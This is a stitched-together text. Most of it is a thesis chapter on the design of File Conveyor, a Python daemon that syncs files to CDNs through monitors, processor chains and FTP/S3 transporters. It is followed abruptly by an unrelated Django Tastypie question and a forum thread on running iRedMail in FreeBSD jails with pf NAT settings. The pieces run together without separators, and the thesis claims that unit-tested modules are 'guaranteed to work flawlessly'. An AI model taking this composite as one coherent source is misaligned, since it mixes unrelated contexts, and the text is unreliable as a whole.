The ReadDirectoryChanges API is more similar to inotify in that it triggers events on the file level. The disadvantage is that this is a blocking API. FindFirstChangeNotification is a non-blocking API, but is more similar to FSEvents, in that it triggers events on the directory level. A comprehensive, yet concise comparison is available at “Watch a Directory for Changes”.
Implementation obstacles
To make this class work consistently, less critical features that are only available for specific file system monitors are abstracted away. And other features are emulated. It comes down to the fact that FSMonitor’s API is very simple to use and only supports 5 different events: CREATED, MODIFIED, DELETED, MONITORED_DIR_MOVED and DROPPED_EVENTS. The last 2 events are only triggered for inotify and FSEvents.
A persistent mode is also supported, in which all metadata is stored in a database. This allows you to even track changes when your program was not running.
As you can see, only 3 “real” events of interest are supported: the most common ones. This is because not every API supports all features of the other APIs.
inotify is the most complete in this regard: it supports a boatload of different events, on a file-level. But it only provides realtime events: it does not maintain a complete history of events. And that is understandable: it is impossible to maintain a history of every file system event. Over time, there would not be any space left to store actual data.
FSEvents on the other hand, works on the directory-level, so you have to maintain your own directory tree state to detect created, modified and deleted files. It only triggers a “a change has occurred in this directory” event. This is why for example there is no “file moved” event: it would be too resource-intensive to detect, or at the very least it would not scale. On the plus side, FSEvents maintains a complete history of events. PathScanner’s scan() method is used to detect the changes to the files in each directory that was changed.
Implementations that do not support file-level events (FSEvents and polling) are persistent by design. Because the directory tree state must be maintained to be able to trigger the correct events, PathScanner (see section the PathScanner.py section) is used for storage. They use PathScanner’s (add|update|remove)_files() functions to keep the database up-to-date. And because the entire directory tree state is always stored, you can compare the current directory tree state with the stored one to detect changes, either as they occur (by being notified of changes on the directory level) or as they have occurred (by scanning the directory tree manually).
For the persistent mode, we could take advantage of FSEvents’ ability to look back in time. However, again due to time constraints, the same approach is used for every implementation: a manual scanning procedure — using PathScanner — is started after the file system monitor starts listening for new events on a given path. That way, no new events are missed. This works equally well as using FSEvents’ special support for this; it is just slower. But it is sufficient for now. This was not implemented due to time constraints.
To implement this, one would simply need to get the highest mtime (modification time of a file) stored in the database, and then ask FSEvents to send the events from that starting time to our callback function, instead of starting from the current time.
3.4. persistent_queue.py and persistent_list.py
In order to provide data persistency , I wrote a PersistentQueue class and a PersistentList class. As their names indicate, these provide you with a persistent queue and a persistent list. They use again an SQLite database for persistent storage. For each instance you create, you must choose the table name and you can optionally choose which database file to write to. This allows you to group persistent data structures in a logical manner (i.e. related persistent data structures can be stored in the same database file, thereby also making it portable and easy to backup).
To prevent excessive file system access due to an overreliance on SQLite, I also added in-memory caching. To ensure low resource consumption, only the first X items in PersistentQueue are cached in-memory (a minimum and maximum threshold can be configured), but for PersistentList there is no such restriction: it is cached in-memory in its entirety. It is not designed for large datasets, but PersistentQeueue is.
PersistentQueue is used to store the events that have been triggered by changes in the file system via fsmonitory.py: (input_file, event) pairs are stored in a persistent queue. Because the backlog (especially the one after the initial scan) can become very large (imagine 1 million files needing to be synced), this was a necessity.
PersistentList is used to store the files that are currently being processed and the list of files that have failed to sync. These must also be stored persistently, because if the daemon is interrupted while still syncing files, these lists will not be empty, and data could be lost. Because they are persistent, the daemon can add the files in these lists to the queue of files to be synced again, and the files will be synced, as if the daemon was never interrupted.
The first question to arise is: “Why use SQLite in favor of Python’s built-in shelve module?” Well, the answer is simple: aside from the benefit of the ability to have all persistent data in a single file, it must also scale to tens of thousands or even millions of files. shelve is not scalable because its data is loaded into memory in its entirety. This could easily result in hundreds of megabytes of memory usage. Such excessive memory usage should be avoided at all costs when the target environment is a (web) server.
Your next question would probably be: “How can you be sure the SQLite database will not get corrupt?” The answer is: we can not. But the same applies to Python’s shelve module. However, the aforementioned advantages of SQLite give plenty of reasons to choose SQLite over shelve. Plus, SQLite is thoroughly tested, even against corruption. It is also used for very large datasets (it works well for multi-gigabyte databases but is not designed for terabyte-scale databases — see “Appropriate Uses For SQLite”) and by countless companies, amongst which Adobe, Apple, Google, Microsoft and Sun (see “Well-Known Users of SQLite”). So it is the best bet you can make.
Finally, you would probably ask “Why not use MySQL or PostgreSQL or …?”. Again the answer is brief: because SQLite requires no additional setup since it is serverless, as opposed to MySQL and PostgreSQL.
Both modules are fully unit-tested and are therefor guaranteed to work flawlessly.
3.5. Processors
processor.py
This module provides several classes: Processor, ProcessorChain and ProcessorChainFactory. Processor is a base class for processors, which are designed to be easy to write yourself. Processors receive an input file, do something with it and return the output file. The Processor class takes a lot of the small annoying tasks on its shoulders, such as checking if the file is actually a file this processor can process, calculating the default output file, checking if the processor (and therefor the entire chain of processors) should be run per server or not and a simple abstraction around an otherwise multi-line construction to run a command.
Upon completion, a callback will be called. Another callback is called in case of an error.
An example can found in the code listed below. For details, please consult File Conveyor’s documentation.
class YUICompressor(Processor):
"""compresses .css and .js files with YUI Compressor"""
valid_extensions = (".css", ".js")
def run(self):
# We do not rename the file, so we can use the default output file.
# Remove the output file if it already exists, otherwise YUI
# Compressor will fail.
if os.path.exists(self.output_file):
os.remove(self.output_file)
# Run YUI Compressor on the file.
yuicompressor_path = os.path.join(self.processors_path, "yuicompressor.jar")
args = (yuicompressor_path, self.input_file, self.output_file)
(stdout, stderr) = self.run_command("java -jar %s %s -o %s" % args)
# Raise an exception if an error occurred.
if not stderr == "":
raise ProcessorError(stderr)
return self.output_file
Processors are allowed to make any change they want to the file’s contents and are executed before a file is synced, most often to reduce the size of the file and thereby to decrease the page loading time.
They are also allowed to change the base name of the input file, but they are not allowed to change its path. This measure was taken to reduce the amount of data that needs to be stored to know which file is stored where exactly in the database of synced files (see the “Putting it all together: arbitrator.py” section). This is enforced by convention, because in Python it is impossible to truly enforce anything. If you do change the path, the file will sync just fine, but it will be impossible to delete the old version of a modified file, unless it results in the exact same path and base name each time it runs through the processor chain.
The Processor class accepts a parent logger which subclasses can optionally use to perform logging.
Then there is the ProcessorChain class, which receives a list of processors and then runs them as a chain: the output file of processor one is the input file of processor two, and so on. ProcessorChains run in their own threads. ProcessorChain also supports logging and accepts a parent logger.
There are two special exceptions Processor subclasses can throw:
RequestToRequeueException: when raised, theProcessorChainwill stop processing this file and will pretend the processing failed. This effectively means that the file will be reprocessed later. A sample use case is theCSSURLUpdaterclass (described later on in this section), in which the URLs of a CSS file must be updated to point to the corresponding URLs of the files on the CDN. But if not all of these files have been synced already, that is impossible. So it must be retried later.
DocumentRootAndBasePathRequiredException: when raised, theProcessorChainwill stop applying the processor that raised this exception to this file, be- cause the source to which this file belongs, did not have these attributes set and therefor it cannot be applied.
Finally, ProcessorChainFactory: this is simply a factory that generatesProcessorChainobjects, with some parameters already filled out.
filename.py
This processor module provides two processor classes: SpacesToUnderscores and SpacesToDashes. They respectively replace spaces with underscores and spaces with dashes in the base name of the file.
This one is not very useful, but it is a good simple example.
unique_filename.py
Also in this processor module, two processor classes are provided: Mtime and MD5. MTime appends the mtime (last modification time) as a UNIX time stamp to the file’s base name (preceded by an underscore). MD5 does the same, but instead of the mtime, it appends the MD5 hash of the file to the file’s base name.
This processor is useful if you want to ensure that files have unique filenames, so that they can be given far future Expires headers (see “Improving Drupal’s page loading performance”).
image_optimizer.py
This processor module is inspired by smush.it. It optimizes images losslessly, i.e. it reduces the filesize without touching the quality. The research necessary was not performed by me, but by Stoyan Stefanov, a Yahoo! web developer working for the Exceptional Performance team, and was thoroughly laid out in a series of blog posts at the Yahoo! user interface blog:
“Image Optimization Part 1: The Importance of Images”
“Image Optimization Part 2: Selecting the Right File Format”
“Image Optimization Part 3: Four Steps to File Size Reduction”
“Image Optimization Part 4: Progressive JPEG … Hot or Not?”
For GIF files, a conversion to PNG8 is performed using ImageMagick’s convert. PNG8 offers lossless image quality, as does GIF, but results in a smaller file size. PNG8 is also supported in all browsers, including IE6. The alpha channels of true color PNG (PNG24 & PNG32) are not supported in IE6.
PNG files are stored in so-called “chunks” and not all of these are required to display the image — in fact, most of them are not used at all. pngcrush is used to strip all the unneeded chunks. pngcrush is also applied to the PNG8 files that are generated by the previous step. I decided not to use the brute force method, which tries over a hundred different methods for optimization, but just the 10 most common ones. The brute force method would result in 30 seconds of processing versus less than a second otherwise.
JPEG files can be optimized in three complementary ways: stripping metadata, optimizing the Huffman tables and making them progressive. There are two variations to store a JPEG file: baseline and progressive. A baseline JPEG file is stored as one top-to-bottom scan, whereas a progressive JPEG file is stored as a series of scans, with each scan gradually improving the quality of the overall image. Stoyan Stefanov’s tests have pointed out that there is a 75% chance that the JPEG file is best saved as baseline when it is smaller than 10 KB. For JPEG files larger than 10 KB, it is 94% likely that progressive JPEG will result in a better compression ratio. That is why the third optimization (making JPEG files progressive) is only applied when the file is larger than 10 KB. All these optimizations are applied using jpegtran.
Finally, animated GIF files can be optimized by stripping the pixels from each frame that do not change from the previous to the next frame. I use gifsicle to achieve that.
There is one important nuance though: stripping metadata may also remove the copyright information, which may have legal consequences. So it is not recommended to strip metadata when some of the photos being hosted have been bought, which may be the situation for a newspaper web site, for example.
Now that you know how the optimizations are done, here is the overview of all processor classes that this processor module provides:
Maxoptimizes image files losslessly (GIF, PNG, JPEG, animated GIF)
KeepMetadatasame asMax, but keeps JPEG metadata
KeepFilenamesame asMax, but keeps the original filename (no GIF optimization)
KeepMetadataAndFilenamesame asMax, but keeps JPEG metadata and the original filename (no GIF optimization)
link_updater.py
Thanks to this processor module, it is possible to serve CSS files from a CDN while updating the URLs in the CSS file to reference the new URLs of these files, that is, the URLs of the synced files. It provides a sole processor class: CSSURLUpdater. This processor class should only be used when either of these conditions are true:
The base path of the URLs changes and the CSS file uses relative URLs that are relative to the document root to reference images (or other media).
For example:
http://example.com/static/css/style.css
becomes
http://cdn.com/example.com/static/css/style.css
and its referenced file
http://example.com/static/images/background.png
becomes
http://cdn.com/example.com/static/images/background.png
after syncing. If the
style.css file on the original server referencesbackground.png through the relative URL/static/images/background.png, then theCSSURLUpdaterprocessor must be used to update the URL. Otherwise this relative URL would become invalid, since the correct relative URL for the CSS file on the CDN to reference has changed (because the base path has changed).
The base names of the referenced files changes.
For example:
http://example.com/static/css/style.css
becomes
http://cdn.com/example.com/static/css/style 1242440815.css
and its referenced file
http://example.com/static/images/background.png
becomes
http://cdn.com/static/images/background 1242440827.png
after syncing. Then it must always use
CSSURLUpdater. Otherwise the URL would become invalid, as the file’s base name has changed.
CSSURLUpdater uses the cssutils Python module to parse CSS files. This unfortunately also negatively impacts its performance, because it validates the CSS file while tokenizing it. But as this will become open source, others will surely improve this. A possibility is to use regular expressions instead to filter out the URLs.
The CSSURLUpdater processor requires to be run per-server (and therefor the entire processor chain which it is part of), because it wants the referenced files (typically images, but possibly also fonts) to be on the same server.
All it does is resolving relative URLs (relative to the CSS file or relative to the document root) to absolute paths on the file system, then looking up the corresponding URLs on the CDN and placing those instead in the CSS file. If one of the referenced files cannot be found on the file system, this URL remains unchanged. If one of the referenced files has not yet been synced to the CDN, then a RequestToRequeueException exception will be raised (see the processor.py section) so that another attempt will be made later, when hopefully all referenced files have been synced.
For details, see the daemon’s documentation.
yui_compressor.py
This is the processor module that could be seen in the sample code in the introductory processory.py section. It accepts CSS and JS files and runs the YUI Compressor on them, which are then compressed by stripping out all whitespace and comments. For JavaScript, it relies on Rhino to tokenize the JavaScript source, so it is very safe: it will not strip out whitespace where that could potentially cause problems. Thanks to this, it can also optimize more aggressively: it saves over 20% more than JSMIN. For CSS (which is supported since version 2.0) it uses a regular-expression based CSS minifier.
3.6. Transporters
transporter.py
Each transporter is a persistent connection to a server via a certain protocol (FTP, SCP, SSH, or custom protocols such as Amazon S3, any protocol really) that is running in its own thread. It allows you to queue files to be synced (save or delete) to the server.
Transporter is a base class for transporters, which are in turn very (very!) thin wrappers around custom Django storage systems. If you need support for another storage system, you should write a custom Django storage system first. Transporters’ settings are automatically validated in the constructor. Also in the constructor, an attempt is made to set up a connection to their target server. When that fails, an exception (ConnectionError) is raised. Files can be queued for synchronization through the sync_file(src, dst, action, callback, error_callback) method.
Upon completion, the callback function will be called. The error_callback function is called in case of an error.
Transporter also supports logging and accepts a parent logger.
A sample transporter can be found below. For details, please consult the daemon’s documentation.
class TransporterFTP(Transporter):
name = 'FTP'
valid_settings = ImmutableSet(["host", "username", "password", "url", "port", "path"])
required_settings = ImmutableSet(["host", "username", "password", "url"])
def __init__(self, settings, callback, error_callback, parent_logger=None):
Transporter.__init__(self, settings, callback, error_callback, parent_logger)
# Fill out defaults if necessary.
configured_settings = Set(self.settings.keys())
if not "port" in configured_settings:
self.settings["port"] = 21
if not "path" in configured_settings:
self.settings["path"] = ""
# Map the settings to the format expected by FTPStorage.
location = "ftp://" + self.settings["username"] + ":"
location += self.settings["password"] + "@" + self.settings["host"]
location += ":" + str(self.settings["port"]) + self.settings["path"]
self.storage = FTPStorage(location, self.settings["url"])
try:
self.storage._start_connection()
except Exception, e:
raise ConnectionError(e)
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. It is growing very strong in popularity. It is very different from Drupal, which aims to be both a CMS (install it and you have a working web site) and a framework. Django just aims to be a framework. It has APIs for many things, ranging from caching, database abstraction, forms to sessions, syndication, authentication and of course storage systems. I have extracted that single API (and its dependencies) from Django and am reusing it.
Now, why the dependency on Django’s Storage class? For three reasons:
Since Django is a well-known, widely used open source project with many developers and is powering many web sites, it is fair to assume that the API is stable and solid. Reinventing the wheel is meaningless and will just introduce more bugs.
Because the daemon relies on (unmodified!) Django code, it can benefit from bugfixes/features applied to Django’s code and can use custom storage systems written for Django. The opposite is also true: changes made by contributors to the daemon (and initially myself) can be contributed back to Django and its contributed custom storage systems.
django-storagesis a collection of custom storage systems, which includes these classes:
DatabaseStorage: store files in the database (any database that Django supports (MySQL, PostgreSQL, SQLite and Oracle)
MogileFSStorage; MogileFS is an open source distributed file system
CouchDBStorage; Apache CouchDB is a distributed, fault-tolerant and schema-free document-oriented database accessible via a RESTful HTTP/JSON API
CloudFilesStorage; Mosso/Rackspace Cloud Files, an alternative to Amazon S3
S3Storage; uses the official Amazon S3 Python module
S3BotoStorage; uses thebotomodule to access Amazon S3 and Amazon CloudFront
FTPStorage; uses theftplibPython module
For the last two, transporters are available. The first three are not so widely used and thus not yet implemented, although it would be very easy to support them, exactly because all that is necessary, is to write thin wrappers. For the third, a transporter was planned, but scrapped due to time constraints. The fourth is not very meaningful to use, since the fifth is better (better maintained and higher performance).
The CouchDBStorage custom storage class was added about a month after I selected django-storages as the package I would use, indicating that the project is alive and well and thus a good choice.
The CloudFilesStorage custom storage class is part of django-storages thanks to my mediations. An early tester of the daemon requested support for Cloud Files and interestingly enough, one day before, somebody had published a Python package (django-cumulus) that did just that. Within a week, a dependency on django-storages was added from django-cumulus and django-storages had Cloud Files support. This is further confirmation that I had made a good choice: it suggests that my choice for django-storages is beneficial for both projects.
So I clearly managed to make a big shortcut (although it had to be made working outside of Django itself) to achieve my goal: supporting CDNs that rely on FTP or origin pulling (see “Key Properties of a CDN”), as well as the Amazon S3 and Amazon CloudFront CDNs.
However, supporting origin pull was trickier than would seem at first. Normally, you just rewrite your URLs and be done with it. However, I wanted to support processing files prior to syncing them to the CDN. And I want to keep following the “do not touch the original file” rule. With push, that is no problem, you just process the file, store the output file in a temporary directory, push the file and delete it afterwards. But what about pull?
I had to be creative here. Since files must remain available for origin pull (in case the CDN wants/needs to update its copy), all files must be copied to another publicly accessible path in the web site. But what about files that are not modified? Or have just changed filenames (for unique URLs)? Copying these means storing the exact same data twice. The answer is fortunately very simple: symbolic links. Although available only on UNIX, it is very much worth it: it reduces redundant data storage significantly. This was then implemented in a new custom storage system: SymlinkOrCopyStorage, which copies modified files and symlinks unmodified ones.
In total, I have contributed three patches to django-storages:
FTPStorage: saving large files + more robustexists()(see the issue)
It enables the saving of large files by no longer reading all the chunks of the file in a single string. Instead it uses ftplib.storbinary()directly with a file pointer, which then handles the writing in chunks automatically.
It makes
exists()more reliable: it has been tested with two different FTP servers and so far it works without problems with the following FTP servers, whereas it did not work with any of them before:
Xlight FTP Server 3.2 (used by SimpleCDN)
Pure-FTPd (used by Rambla)
This improves the number of use cases where you can use the
FTPStoragecustom storage system.
It enables the saving of large files by no longer reading all the chunks of the file in a single string. Instead it uses
S3BotoStorage: setContent-Typeheader, fixed the setting of permissions, use HTTP and disable query authentication by default (see the issue)
The Content-Typeheader is set automatically via guessing based on the extension. This is done throughmimetypes.guesstype. Right now, noContent-Typeis set, and therefor the default binary mimetype is set:application/octet- stream. This causes browsers to download files instead of displaying them.
The ACL (i.e. file permissions) now actually gets applied properly to the bucket and to each file that is saved to the bucket.
Currently, URLs are generated with query-based authentication (which implies ridiculously long URLs will be generated) and HTTPS is used instead of HTTP, thereby preventing browsers from caching files. I have disabled query authentication and HTTPS, as this is the most common use case for serving files. This probably should be configurable, but that can be done in a revised patch or a follow-up patch.
It allows you to set custom headers through the constructor (which I really needed for my daemon).
This greatly improves the usability of the
S3BotoStoragecustom storage system in its most common use case: as a CDN for publicly accessible files.
The
SymlinkOrCopyStorage: new custom storage system (see the issue)
The maintainer was very receptive to these patches and replied a mere 23 minutes after I contacted him (via Twitter):
davidbgk@wimleers Impressive patches, I will merge your work ASAP. Thanks for contributing! Interesting bachelor thesis :) The patches were submitted on May 14, 2009. The first and third patch were committed on May 17, 2009. The second patch needs a bit more work (more configurable, less hard coded, which it already was though).
transporter_ftp.py
Provides the TransporterFTP class, which is a thin wrapper around FTPStorage, with the aforementioned patch applied.
transporter_s3.py
Provides the TransporterS3 class, which is a thin wrapper around S3BotoStorage, with the aforementioned patch applied.
transporter_cf.py
Provides the TransporterCF class, which is not a thin wrapper around S3BotoStorage, but around TransporterS3. In fact, it just implementes the alter_url() method to alter the Amazon S3 URL to an Amazon CloudFront URL (see “Key Properties of a CDN”).
It also provides the create_distribution() function to create a distribution for a given origin domain (a domain for a specific Amazon S3 bucket). Please consult the daemon’s documentation for details.
transporter_symlink_or_copy.py
Provides the TransporterSymlinkOrCopy class, which is a thin wrapper around SymlinkOrCopyStorage, which is a new custom storage system I contributed to django-storages, as mentioned before.
3.7. config.py
This module contains just one class: Config. Config can load a configuration file (parse the XML) and validate it. Validation does not happen through an XML schema, but through “manual” validation. The filter node is validated through the Filter class to ensure it is error free (a Filter object is created and the conditions from the filter node are set and when no exceptions are raised, the conditions are valid). All references (to sources and servers) are also validated. Its validation routines are pretty thorough, but by no means perfect.
Config also supports logging and accepts a parent logger.
This module should be unit tested, but is not — yet.
3.8. daemon_thread_runner.py
I needed to be able to run the application as a daemon. Great, but then how do you stop it? Through signals. That is also how for example the Apache HTTP server does it. To send a signal, you need to know the process’ pid (process id). So the pid must be stored in a file somewhere.
This module contains the DaemonThreadRunner class, which accepts an object and the name of the file that should contain the pid. The object should be a subclass of Python’s threading.Thread class. As soon as you start() the DaemonThreadRunner object, the pid will be written to the specified pid file name, the object will be marked as a daemon thread and started. While it is running, the pid is written to the pid file every sixty seconds, in case the file is deleted accidentally.
When an interrupt is caught (SIGINT for interruption, SIGTSTP for suspension and SIGTERM for termination), the thread (of the object that was passed) is stopped and DaemonThreadRunner waits for the thread to join and then deletes the file.
This module is not unit tested, because it makes very little sense to do so (there is not much code). Having used it hundreds of times, it did not fail once, so it is reliable enough.
4. Putting it all together: arbitrator.py
4.1. The big picture
The arbitrator is what links together all Python modules I have described in the previous section. Here is a hierarchical overview, so you get a better understanding of the big picture:
See the attached figure “File Conveyor — the big picture”.
Clearly, Arbitrator is what links everything together: it controls the 5 components: Config, FSMonitor, Filter, Processor and Transporter. There are three subclasses of FSMonitor to take advantage of the platform’s built-in file system monitor. Processor must be subclassed for every processor. Transporter must be subclassed for each protocol.
Now that you have an insight in the big picture, let us examine how exactly Arbitrator controls all components, and what happens before the main function.
4.2. The flow
First, an Arbitrator object is created and its constructor does the following:
create a logger
parse the configuration file
verify the existence of all processors and transporters that are referenced from the configuration file
connect to each server (as defined in the configuration file) to ensure it is working Then, the
Arbitrator object is passed to a DaemonThreadRunner object, which then runs the arbitrator in such a way that it can be stopped through signals. The arbitrator is then started. The following happens:
setup
create transporter pools (analogous to worker thread pools) for each server. These pools remain empty until transporters are necessary, because transporters are created whenever they are deemed necessary.
collect all metadata for each rule
initialize all data structures for the pipeline (queues, persistent queues and persistent lists)
move files from the ‘files in pipeline’ persistent list to the ‘pipeline’ persistent queue
move files from the ‘failed files’ persistent list to the ‘pipeline’ persistent queue
create a database connection to the ‘synced files’ database
initialize the file system monitor (FSMonitor)
run
start the file system monitor
start the processing loop and keep it running until the thread is being stopped
process the discover queue
process the pipeline queue
process the filter queue
process the process queue
process the transport queues (1 per server)
process the db queue
process the retry queue
allow retry (move files from the ‘failed files’ persistent list to the ‘pipeline’ persistent queue)
sleep 0.2 seconds
stop the file system monitor
process the discover queue once more to sync the final batch of files to the persistent pipeline queue
stop all transporters
log some statistics
That is roughly the logic of the daemon. It should already make some sense, but it is likely that it is not yet clear what all the queues are for. And how they are being filled and emptied. So now it is time to learn about the daemon’s pipeline.
4.3. Pipeline design pattern
This design pattern, which is also sometimes called “Filters and Pipes” (on which a fair bit has been written), is slightly under documented, but it is still a very useful design pattern. Its premise is to deliver an architecture to divide a large processing task into smaller, sequential steps (“Filters”) that can be performed independently — and therefor in parallel — which are finally connected via Pipes. The output of one step is the input of the next.
For all that follows in this subsection, you may want to look at the figure below while reading. Note that this figure does not contain every detail: it is intended to help you gain some insight into how the daemon works, not how every detail is implemented.
See the attached figure “File Conveyor — flowchart”.
In my case, files are discovered and are then put into the pipeline queue. When they actually move into the pipeline (at which point they are added to the ‘files in pipeline’ persistent list), they start by going into the filter queue, after being filtered they go into the process queue (possibly more than once), after being processed to the transport queue (again possibly more than once), after being transported to the db queue, after being stored in the database, they are removed from the ‘files in pipeline’ persistent list and we are done for this file. Repeat for every discovered file. This is the core logic of the daemon.
So many queues are used because there are so many stages in the pipeline. There is a queue for each stage in the pipeline, plus some additional ones because the persistent data structures use the pysqlite module, which only allows you to access the database from the same thread as the connection was created in. Because I (have to) work with callbacks, the calling thread may be different from the creating thread, and therefor there are several queues that exist solely for exchanging data between threads.
There is one persistent queue and two persistent lists. The persistent queue is the pipeline queue, which contains all files that are queued to be sent through the pipeline. The first persistent list is ‘files in pipeline’. It is used to ensure files still get processed if the daemon was killed (or crashed) while they were in the pipeline. The second persistent list is ‘failed files’ and contains all files for which either a processor in the processor chain or a transporter failed.
When the daemon is restarted, the contents of the ‘files in pipeline’ and ‘failed files’ lists are pushed into the pipeline queue, after which they are erased.
Queues are either filled through the Arbitrator (because it moves data from one queue to the next):
The pipeline queue is filled by the “process discoverqueue” method, which always syncs all files in the discover queue to the pipeline queue.
The filter queue is filled by the “process pipelinequeue” method, which processes up to 20 files (this is configurable) in one run, or until there are 100 files in the pipeline (this is also configurable), whichever limit is hit first.
The process queue is filled by the “process filter queue” method, which processes up to 20 files in one run.
or through callbacks (in case data gets processed in a separate thread):
The discoverqueue is filled throughFSMonitor’s callback (which gets called for every discovered file).
The transportqueue is filled through aProcessorChain’s callback or directly from the “processfilterqueue” method (if the rule has no processor chain associated with it). To know when a file has been synced to all its destinations, the ‘remaining transporters’ list gets a new key (the concatenation of the input file, the event and the string representation of the rule) and the value of that key is a list of all servers to which this file will be synced.
The dbqueue is filled through aTransporter’s callback. Each time this callback fires, it also carries information on which server the file has just been transported to. This server is then removed from the ‘remaining transporters’ list for this file. When no servers are left in this list, the sync is complete and the file can be removed from the ‘files in pipeline’ persistent list.
Because the ProcessorChain and Transporter callbacks only carry information about the file they have just been operating on, I had to find an elegant method to transfer the additional metadata for this file, which is necessary to let the file continue through the pipeline. I have found this in the form of currying. Currying is dynamically creating a new function that calls another function, but with some arguments already filled out. An example:
curried_callback = curry(self.processor_chain_callback, event=event, rule=rule)
The function self.processor_chain_callback accepts the event and rule arguments, but the ProcessorChain class has no way of accepting “additional data” arguments. So instead of rewriting ProcessorChain (and the exact same thing applies to Transporter), I simply create a curried callback, that will automatically fill out the arguments that the ProcessorChain callback by itself could never fill out.
Each of the “process X queue” methods acquires Arbitrator’s lock before accessing any of the queues. Before a file is removed from the pipeline queue, it is added to the ‘files in pipeline’ persistent list (this is possible thanks to PersistentQueue’s peek() method), and then it is removed from the pipeline queue. This implies that at no time after the file has been added to the pipeline queue, it can be lost. The worst case scenario is that the daemon crashes between adding the file to the ‘files in pipeline’ persistent list and removing it from the pipeline queue. Then it will end up twice in the queue. But the second sync will just overwrite the first one, so all that is lost, is CPU time.
The “allow retry” method allows failed files (in the ‘failed files’ persistent list) to be retried, by adding them back to the pipeline queue. This happens whenever the pipeline queue is getting empty, or every 30 seconds. This ensures processors that use the RequestToRequeueException exception can retry.
The only truly weak link is unavoidable: if the daemon crashes somewhere between having performed the callback from FSMonitor, adding that file to the discover queue and syncing the file from the discover queue to the pipeline queue (which is necessary due to the thread locality restriction of pysqlite).
5. Performance tests
I have performed fairly extensive tests on both Mac OS X and Linux. The application behaved identically on both platforms, despite the fact that different file system monitors are being used in the background. The rest of this cross-platform functioning without problems is thanks to Python.
All tests were performed on the local network, i.e. with a FTP server running on the localhost. Very small scale tests have been performed with the Amazon S3 and CloudFront transporters, and since they worked, the results should apply to those as well. It does not and should not matter which transporter is being used.
At all times, the memory usage remained below 17 MB on Mac OS X and below 7 MB on Linux (unless the update_linker processor module was used, in which case it leaks memory like a madman — the cssutils Python module is to blame). A backlog of more than 10,000 files was no problem. Synchronizing 10 GB of files was no problem. I also tried a lot of variations in the configuration and all of them worked (well, sometimes it needed some bug fixing of course). Further testing should happen in real-world environments. Even tests in which I forced processors or transporters to crash were completed successfully: no files were lost and they would be synced again after restarting the daemon.
6. Possible further optimizations
Files should be moved from the discover queue to the pipeline queue in a separate thread, to minimize the risk of losing files due to a crashed application before files are moved to the pipeline queue. In fact, the discover queue could be eliminated altogether thanks to this.
Track progress of transporters and allow them to be be stopped while still syncing a file.
Make processors more error resistent by allowing them to check the environment, so they can ensure third party applications, such as YUI Compressor or jpegtranare installed.
Figure out an automated way of ensuring the correct operating of processors, since they are most likely the cause of problems thanks to the fact that users can easily write their own processors.
Automatically copy the synced files DB every X seconds, to prevent long delays for read-only clients. This will only matter on sites where uploads happen more than once per second or so.
Reorganize code: make a proper packaged structure.
Make the code redistributable: as a Python egg, or maybe even as binaries for each supported platform.
Automatically stop transporters after a period of idle time.
7. Desired future features
Polling the daemon for its current status (number of files in the queue, files in the pipeline, processors running, transporters running, et cetera)
Support for Munin/Nagios for monitoring (strongly related to the previous feature)
Ability to limit network usage by more than just the number of connections: also by throughput.
Ability to limit CPU usage by more than just the number of simultaneous processors.
Store characteristics of the operations, such as TTS (Time-To-Sync), so that you can analyze this data to configure the daemon to better suit your needs.
Cache the latest configuration file and compare with the new on
This is a republished part of my bachelor thesis text, with thanks to Hasselt University for allowing me to republish it. This is section nine in the full text, in which it was called “Daemon” instead of “File Conveyor: design”.
Previously in this series: |
I'm a new user of the Tastypie package for Django and have got my API up and running. I have one endpoint which is trying to return one model and its related model's data. Even though I'm not getting any errors, the related model's data is always empty (see following example):
{
"collection": [],
"first_name": "Bob",
"last_login": "2012-11-10T20:00:25",
"last_name": "Schliffman",
"resource_uri": "/api/v1/user/2/",
"username": "flip"
}
There is corresponding data in the model (verified in the Admin console), but it's just not coming up. Here are the related resource definitions in api.py:
class UserResource(ModelResource):
collection = fields.ToManyField('maps.api.resources.CollectionResource', \
attribute='collections', full=True, null=True)
class Meta:
queryset = User.objects.all()
resource_name = 'user'
fields = ['username', 'first_name', 'last_name', 'last_login']
allowed_methods = ['get']
class CollectionResource(ModelResource):
user = fields.ToOneField(UserResource, 'user')
class Meta:
queryset = Collection.objects.all()
resource_name = 'collection'
allowed_methods = ['get', 'post']
Any idea about what I need to do in order to get that collection property populated with the related data? |
Topic: iRedMail in jail?
Do iRedMail is working in jails?
----
Urgent issue? Pay iRedMail developer to solve it remotely at $39.
Works on Red Hat Enterprise Linux, CentOS, Debian, Ubuntu, FreeBSD, OpenBSD
You are not logged in. Please login or register.
Do iRedMail is working in jails?
----
Sorry, you didn't explain clearly.
Do you mean FreeBSD Jail? iRedMail doesn't work with it.
If you're familar with Jail, patches are always welcome.
Yes, I mean FreeBSD Jail. Im using this, and I read that iRedMail is not working in Jail.
I have run nginx in Jail (private IP) and I know how to set up this. Can You tell me what problems You had with iRedMail in Jail?
To be honest, i didn't setup Jail before.
It would be nice if you can provide a detail tutorial of FreeBSD Jail, and try to make iRedMail work with Jail.
Patches are always welcome.
P.S. Will FreeBSD users always use Jail for network services?
You can use simple tool ezjail. Tutorial: http://www.cyberciti.biz/faq/howto-setu … th-ezjail/
When You setup Your first Jail correctly then Jail will be easy for You
If You haven't second public IP then You must setup NAT. Im using pf tool. Its my config (/etc/pf.conf)
rdr pass on em0 proto tcp from any to em0 port 80 -> 192.168.1.2 port 80
nat on em0 from 192.168.1.0/24 to any -> 188.165.x.x
em0 - my network interface
192.168.1.2 - IP of my Jail with nginx (http server)
188.165.x.x - Its my host IP.
First line in pf.conf is forwarding port 80 from Jail. Second setup NAT.
Its my rc.conf on host (main computer):
pf_enable="YES"
pf_rules="/etc/pf.conf"
ifconfig_em0_alias1="inet 192.168.1.2 netmask 255.255.255.255"
ezjail_enable="YES"
Its rc.conf from Jail (virtual machine):
rpc_bind_enable="NO"
sshd_enable="YES"
sendmail_enable="NO"
network_interfaces=""
defaultrouter="188.165.x.x"
early_late_divider="NETWORKING"
ifconfig_em0="inet 192.168.1.2 netmask 255.255.255.255 alias"
spawn_fcgi_enable=YES
mysql_enable=YES
nginx_enable=YES
When You setup this then try Your network connection, put command: 'ftp 87.51.34.132', in Jail ofcourse
Its public FTP of FreeBSD.
I don't know postfix and others stuff. Which ports are working only local, and which ports must be forwarding? I will try install iRedMail in Jail. Probably I get errors with port and IPs I will have on my way
Im beginner user of FreeBSD and iRedMail. FreeBSD user not always users Jail, but I have some large websites and I want be secured that what is possible
